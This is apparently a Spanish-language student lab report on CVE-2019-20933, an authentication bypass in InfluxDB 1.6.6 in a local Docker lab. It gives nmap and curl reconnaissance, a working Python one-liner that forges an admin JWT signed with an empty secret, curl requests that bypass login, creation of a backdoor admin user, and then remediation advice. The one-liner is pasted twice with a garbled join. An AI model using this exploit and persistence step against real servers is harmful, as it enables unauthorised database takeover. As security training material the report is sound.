Laboratorio 5-CVE-2019-20933

I. ANÁLISIS DEL SISTEMA

Identificación de la Superficie de Ataque

Comenzando por lo que se está ejecutando en el entorno. Enumero todos los contenedores activos:

docker ps

La víctima expone un único puerto: 8086.

Actualmente, no dispongo de información detallada sobre el objetivo. Según la salida de docker ps, el sistema solo expone externamente un servicio destacable en el puerto 8086, que está mapeado al servicio dentro del contenedor. Esta es la principal superficie de ataque a analizar.

En lugar de acceder a él inmediatamente a través del navegador, procedemos a realizar el fingerprinting del servicio con Nmap para determinar qué servicio se está ejecutando en el puerto 8086:

nmap -sV -sC -p 8086 192.168.3.137

Los resultados del escaneo muestran que el puerto 8086 es el servicio HTTP de InfluxDB OSS 1.6.6. Se trata de una base de datos de series temporales expuesta a través de una API HTTP, no de una aplicación web típica.

Análisis Reflexivo Posterior al Fingerprinting

InfluxDB es una base de datos de series temporales (TSDB) de código abierto escrita en Go. A diferencia de los RDBMS (optimizados para transacciones precisas) o Elasticsearch (optimizado para la búsqueda de texto), InfluxDB fue creada con un único propósito: Gestionar volúmenes masivos de escritura (alto rendimiento de escritura) y consultar datos a lo largo del eje temporal con baja latencia.

Dado que el servicio ha sido identificado como InfluxDB, el siguiente paso es consultar cómo se comunica InfluxDB con los clientes. Según la documentación de la API HTTP de InfluxDB v1, el puerto 8086 es el puerto predeterminado de la API HTTP. Los endpoints importantes incluyen:

• /ping: comprueba el estado operativo del servidor.
• /query: envía consultas InfluxQL para leer metadatos o datos.
• /write: escribe datos de series temporales en la base de datos.

⇒ Reflexión: Después de que Nmap identifica el servicio como InfluxDB http admin 1.6.6, no continuamos probándolo como un sitio web estándar. Para aplicaciones web, normalmente buscamos rutas, formularios de inicio de sesión o directorios. Sin embargo, con InfluxDB, la superficie de ataque reside dentro de la API HTTP. Por lo tanto, debemos pasar a probar los endpoints estándar de la API de InfluxDB para determinar si la API requiere autenticación. En consecuencia, el siguiente paso de la prueba no es acceder a / mediante el navegador, sino enviar solicitudes directamente a los endpoints de la API de InfluxDB.

Análisis del Comportamiento de la API e Identificación de los Objetivos de Autenticación

Comprobación del endpoint /ping

Después de identificar el puerto 8086 como la API HTTP de InfluxDB, comprueba el endpoint /ping para confirmar que el servicio está operativo:

curl -i <http://192.168.3.137:8086/ping>

La respuesta 204 No Content confirma que InfluxDB está operando con normalidad. Las cabeceras confirman además que la versión del servicio es InfluxDB OSS 1.6.6

Comprobación de la autenticación en el endpoint /query

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

El endpoint /query no permite consultas directas sin credenciales de autenticación. Esto confirma que InfluxDB tiene la autenticación habilitada y bloquea todas las consultas anónimas enviadas al sistema.

Paso a reflexionar: ¿tiene la versión 1.6.6 de InfluxDB alguna vulnerabilidad que permita eludir el mecanismo de autenticación?

Al consultar las bases de datos públicas de vulnerabilidades, las versiones de InfluxDB anteriores a 1.7.6 están afectadas por CVE-2019-20933. Se trata de una vulnerabilidad de omisión de autenticación (Authentication Bypass) dentro de la función de autenticación de InfluxDB, relacionada con el manejo de tokens JWT con un secreto compartido vacío.

Dado que el objetivo ejecuta InfluxDB 1.6.6, que es inferior a la versión parcheada 1.7.6, el servicio se encuentra dentro del rango de versiones afectadas.

Se puede concluir:

Service: InfluxDB OSS
Version: 1.6.6
Authentication: Enabled
CVE mapping: CVE-2019-20933
Impact: Authentication Bypass
Status: Version vulnerable

⇒ Reflexión: Inicialmente, el endpoint /query devuelve 401 Unauthorized, lo que indica que el mecanismo de autenticación está activo. Sin embargo, tener la autenticación habilitada no significa seguridad absoluta. Cuando la version se identifica como 1.6.6, debemos correlacionarla con los CVE conocidos. Los resultados indican que esta versión se encuentra dentro del rango afectado por CVE-2019-20933, lo que significa que es posible eludir el mecanismo de autenticación que protege el endpoint /query. Basándonos en estos resultados de identificación, la fase de explotación se centrará en verificar CVE-2019-20933 mediante la generación de un token JWT adecuado para eludir la autenticación y ejecutar consultas contra el endpoint /query.

Análisis del Mecanismo de la Vulnerabilidad (CVE-2019-20933)

La vulnerabilidad CVE-2019-20933 se produce en la función authenticate dentro del archivo services/httpd/handler.go de InfluxDB anterior a la versión 1.7.6.

Mecanismo de autenticación JWT en InfluxDB

InfluxDB admite la autenticación mediante JSON Web Tokens (JWT) para las solicitudes a la API HTTP. Al recibir una solicitud con la cabecera:

Authorization: Bearer <token>

InfluxDB realizará los siguientes pasos:

1. Decodificar el token para extraer el Header y el Payload.
2. Leer el valor de configuración shared-secret del archivo influxdb.conf para que actúe como clave secreta en la verificación de la firma del token.
3. Si la firma es válida, recuperar el campo username de los claims para determinar el usuario que ejecuta la consulta.

El Fallo

En las versiones afectadas, si la autenticación JWT está habilitada pero el parámetro shared-secret no está configurado, el valor del secreto puede procesarse como una cadena vacía ("").

El sistema no logra validar adecuadamente la fortaleza de seguridad del secreto antes de verificar la firma del JWT. Esto permite a un atacante construir un JWT personalizado, firmarlo con un secreto vacío y luego establecer el claim username como una cuenta válida del sistema, como admin si esta cuenta existe en el laboratorio.

Cuando este token se envía a través de la cabecera Authorization: Bearer <token>, InfluxDB utiliza el mismo secreto vacío para verificar la firma. Si la firma coincide y el nombre de usuario existe, la solicitud será autorizada sin requerir la contraseña real del usuario.

El flujo de procesamiento se puede resumir de la siguiente manera:

Flujo de explotación a nivel lógico:

InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds

Resumen

Después de comprender el mecanismo del CVE, es necesario correlacionarlo con el objetivo para evitar sacar conclusiones basándose únicamente en la versión.

En este momento, CVE-2019-20933 se identifica como un candidato muy adecuado para el objetivo. Sin embargo, para confirmar la explotación práctica, debemos generar un JWT firmado con un shared secret vacío y transmitirlo al endpoint /query.

Si el servidor acepta este token y permite la ejecución de consultas, solo entonces podremos concluir que el CVE fue explotado con éxito.

II. EXPLOTACIÓN

Creación Manual de un JWT Forjado

A partir del análisis del mecanismo de la vulnerabilidad anterior, las condiciones para la explotación son:

1. Crear un JWT con un username válido en el sistema.
2. Firmar este token con una clave secreta vacía ("").
3. Enviar el token a través de la cabecera Authorization: Bearer <token> al endpoint /query.

Identificación de la Estructura del JWT a Crear

Un JWT consta de 3 partes separadas por puntos: Header.Payload.Signature

Header

{"alg":"HS256","typ":"JWT"}

Payload

{"username":"admin","exp":2147483647}

• username: cuenta objetivo. En este laboratorio, InfluxDB crea un usuario admin por defecto.
• exp: tiempo de expiración del token, establecido extremadamente lejos en el futuro (el año 2038) para evitar el rechazo por expiración.

Signature

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Generación del JWT mediante una Línea de Código Python en Kali

En Kali, generamos el JWT completo con un solo comando:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

Obtenemos la cadena:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw

• b64url(): Convierte un dict de Python en una cadena JSON y la codifica en formato Base64URL (eliminando el relleno = según el estándar JWT).
• hmac.new(b'', ...): Firma el mensaje utilizando el algoritmo HMAC-SHA256 con una clave vacía (b''). Este es el vector de explotación — la clave vacía coincide con el shared-secret no configurado en el servidor.
• El resultado final es la cadena Header.Payload.Signature conforme al estándar JWT RFC 7519.

Envío del Token al Endpoint /query para Verificar el CVE

Guarda el token en una variable de entorno y luego envía una consulta SHOW DATABASES:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \

  -H "Authorization: Bearer $TOKEN"

Análisis del Resultado:

• La respuesta pasa de 401 Unauthorized a 200 OK.
• El servidor devuelve la lista real de bases de datos presentes en el sistema.
• Esto demuestra que el JWT firmado con un secreto vacío fue aceptado por el servidor, otorgando permisos de consulta con éxito.

⇒ Se confirma que el CVE-2019-20933 fue explotado con éxito en el objetivo. Con un JWT creado manualmente y firmado con una clave en blanco, eludimos el mecanismo de autenticación por completo y obtuvimos acceso de consulta como admin.

III. POST-EXPLOTACIÓN

Después de eludir con éxito la autenticación, procedemos con una post-explotación más profunda para recopilar datos sensibles dentro de las bases de datos del sistema. Según los resultados de SHOW DATABASES, el sistema tiene 2 bases de datos: _internal (la base de datos de monitoreo interno predeterminada de InfluxDB) y sample (la base de datos operativa de negocio).

1. Listado de Usuarios en el Sistema InfluxDB

curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
  -H "Authorization: Bearer $TOKEN"

El sistema contiene un único usuario: admin con privilegios administrativos (admin: true). Esto confirma que nuestro JWT forjado ha suplantado con éxito la única cuenta administrativa del sistema.

2. Listado de Measurements en la Base de Datos _internal

La base de datos sample no contiene ningún measurement (está vacía). Sin embargo, la base de datos _internal es la base de datos de monitoreo interno de InfluxDB y siempre contiene métricas del sistema:

curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
  -H "Authorization: Bearer $TOKEN"

La base de datos _internal contiene 12 measurements de monitoreo interno: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal y write. Estas tablas almacenan estadísticas operativas detalladas de la instancia de InfluxDB, incluidos los registros de consultas HTTP, las métricas de rendimiento de la base de datos y el estado del motor de almacenamiento.

3. Creación de un Nuevo Usuario Administrador

Para demostrar que el acceso admin eludido no se limita a acciones de solo lectura, sino que también otorga acceso de escritura y administración, realizamos la creación de una nueva cuenta de usuario con privilegios administrativos completos:

curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
  -H "Authorization: Bearer $TOKEN"

La respuesta devuelve statement_id: 0 sin un campo error—lo que confirma que el comando CREATE USER se ejecutó correctamente. El atacante ahora puede iniciar sesión directamente utilizando las credenciales hacked / Dung con acceso de administrador completo, sin necesitar ya el token JWT forjado.

⇒ Esto sirve como la prueba más contundente de que la vulnerabilidad CVE-2019-20933 no solo permite la exposición de datos, sino que también permite a un atacante tomar el control total del sistema InfluxDB—incluidos el aprovisionamiento de usuarios, la destrucción de bases de datos y las modificaciones de la configuración del sistema.

Evaluación de la Escalada de Privilegios y del Impacto en el Sistema

A diferencia de las vulnerabilidades de ejecución remota de código (RCE) que atacan directamente la capa del sistema operativo (como en el Laboratorio 3), CVE-2019-20933 limita su alcance de impacto a la administración a nivel de base de datos. Sin embargo, la gravedad sigue siendo críticamente alta debido a:

• Pérdida Total de Confidencialidad: Los atacantes pueden extraer todos los datos sensibles que residen dentro de InfluxDB, incluidos los metadatos del sistema y las configuraciones de entorno del contenedor.
• Pérdida Total de Integridad: Los atacantes tienen permisos completos para modificar, eliminar o inyectar datos fraudulentos, como lo demuestra la creación exitosa del usuario hacked con privilegios administrativos completos.
• Persistencia: Después de aprovisionar la cuenta administrativa, el atacante puede establecer persistencia, autenticándose mediante la autenticación básica estándar (Basic Auth) sin depender del JWT forjado personalizado.
• Potencial de Movimiento Lateral: La información recopilada (como los nombres de host de los contenedores y la arquitectura de la base de datos) puede aprovecharse como arma para pivotar y atacar servicios adyacentes dentro de la subred Docker.

IV. EVALUACIÓN DE RIESGOS Y RECOMENDACIONES DE REMEDIACIÓN

Evaluación de Riesgos

Recomendaciones de Remediación

Para remediar por completo esta vulnerabilidad de seguridad crítica, los administradores de sistemas deben implementar rápidamente las siguientes contramedidas:

Medidas Inmediatas (Corto Plazo):

1. Aplicar una Configuración de Secreto Compartido Segura Si la actualización no es viable de inmediato, edita el archivo de configuración influxdb.conf para definir un secreto compartido largo, complejo y aleatorio en la sección [http]: Nota: Reinicia el servicio de InfluxDB después de editar la configuración para que los cambios surtan efecto.

   root@kitploit:~

   ini
   
   [http]
     enabled = true
     auth-enabled = true
     shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
   

2. Actualizar la Instancia de InfluxDB a una Versión Parcheada Actualiza InfluxDB de inmediato a la versión 1.7.6 o superior. Los desarrolladores modificaron la rutina de autenticación en estas versiones para rechazar los tokens JWT firmados con secretos compartidos vacíos o inseguros.

Medidas de Defensa en Profundidad (Largo Plazo):

1. Implementar Reglas de Segmentación de Red

   • Nunca expongas el puerto de la API 8086 a Internet público.
   • Restringe estrictamente la comunicación con InfluxDB a los servicios internos autorizados (como Grafana, Telegraf o aplicaciones Backend) mediante políticas de firewall o redes Docker aisladas.

2. Emplear el Protocolo HTTPS

   • Configura SSL/TLS para el endpoint de la API de InfluxDB para garantizar que todos los datos de telemetría transmitidos (incluidos los tokens JWT) estén cifrados, eliminando el riesgo de captura de tokens mediante la interceptación Man-in-the-Middle (MitM).